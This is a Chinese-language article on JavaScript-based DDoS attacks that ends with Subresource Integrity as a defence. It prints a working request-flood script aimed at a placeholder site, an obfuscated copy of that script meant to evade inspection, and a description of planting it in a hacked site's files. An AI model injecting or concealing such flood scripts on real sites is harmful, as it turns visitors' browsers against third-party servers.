最古老, 最普遍, 却又最可怕的攻击非 DDoS 攻击莫属.
在传统的 DDoS 攻击中, 攻击者会控制大量的傀儡机, 然后向目标服务器发送大量请求, 阻止合法用户访问网站.
然而, 最近几年 DDoS 攻击技术不断推陈出新: 攻击者用一种新型且很有趣的方式欺骗用户参与到攻击活动中: 使用恶意的 JavaScript 欺骗用户参与 DDoS 攻击.
基于 JavaScript 的 DDOS 攻击有一个非比寻常的特点: 任何有浏览器的设备都可能参与攻击, 其潜在攻击规模接近无限.
基于 JavaScript 的 DDOS 攻击原理
现代网站的交互作用大多数都是采用 JavaScript.JavaScript 脚本可直接注入 html 中, 或者通过 <script src=""> HTML 从远程服务器载入.
- function imgflood() {
- var TARGET = ''victim-website.com'
- var URI = '/index.php?'
- var pic = new Image()
- var rand = Math.floor(Math.random() * 1000)
- pic.src = 'http://'+TARGET+URI+rand+'=val'
- }
- setInterval(imgflood, 10)
该脚本会在目标网页上生成一个图片按钮, 图片按钮会指向 "'victim-website.com" 网站. 只要用户访问了含有该脚本的网页, 那么他就会成为 "'victim-website.com"DDoS 攻击中的一员. 浏览器发出的每一个请求都是有效请求, 于是该攻击又变成了 Layer 7 攻击.
由于是 JS 代码, 所以通过查看网页源码, 可以直接的看到攻击代码, 发现是攻击网页. 但如果以上的代码经过 JShaman 的混淆, JS 代码会被保护起来, 更难以被识别和发现:
var _0x9ea1=['victim\\x2dwebsite\\x2ecom','\\x2findex\\x2ephp\\x3f','floor','random','src','http\\x3a\\x2f\\x2f','\\x3dval'];(function(_0xa439d7,_0x7a3f17){var _0x2fcd4b=function(_0x1be501){while(--_0x1be501){_0xa439d7['\\x70\\x75\\x73\\x68'](_0xa439d7['\\x73\\x68\\x69\\x66\\x74']());}};_0x2fcd4b(++_0x7a3f17);}(_0x9ea1,0xa1));var _0x19ea=function(_0x3ac308,_0x2c1ecf){_0x3ac308=_0x3ac308-0x0;var _0x393163=_0x9ea1[_0x3ac308];return _0x393163;};function imgflood(){var _0xcb2cd4=_0x19ea('0x0');var _0x3d1bbb=_0x19ea('0x1');var _0x189885=new Image();var _0x2dfc3a=Math[_0x19ea('0x2')](Math[_0x19ea('0x3')]()*0x3e8);_0x189885[_0x19ea('0x4')]=_0x19ea('0x5')+_0xcb2cd4+_0x3d1bbb+_0x2dfc3a+_0x19ea('0x6');}setInterval(imgflood,0xa);
如果攻击者入侵了一个网站, 在网站 JS 文件中嵌入了类似上面的恶意 JavaScript 脚本, 那么该网站的每一个访客都将成为 DDoS 攻击中的一员. 网站流量越高就意味着 DDoS 越严重.
如何防止这种攻击?
目前 HTTP 还没有相关的机制来阻止该脚本的运行, 但 W3C 已经提出了名叫子资源完整性 (SRI) 的新功能, 使用加密哈希值验证脚本, 如果哈希值不匹配浏览器可以阻止其运行.
- <script src="https://code.jquery.com/jquery-1.10.2.min.js" integrity="sha256-C6CB9UYIS9UJeqinPHWTHVqh/E1uhG5Twh+Y5qFQmYg="
- crossorigin="anonymous">
来源: http://www.tuicool.com/articles/myaQfyn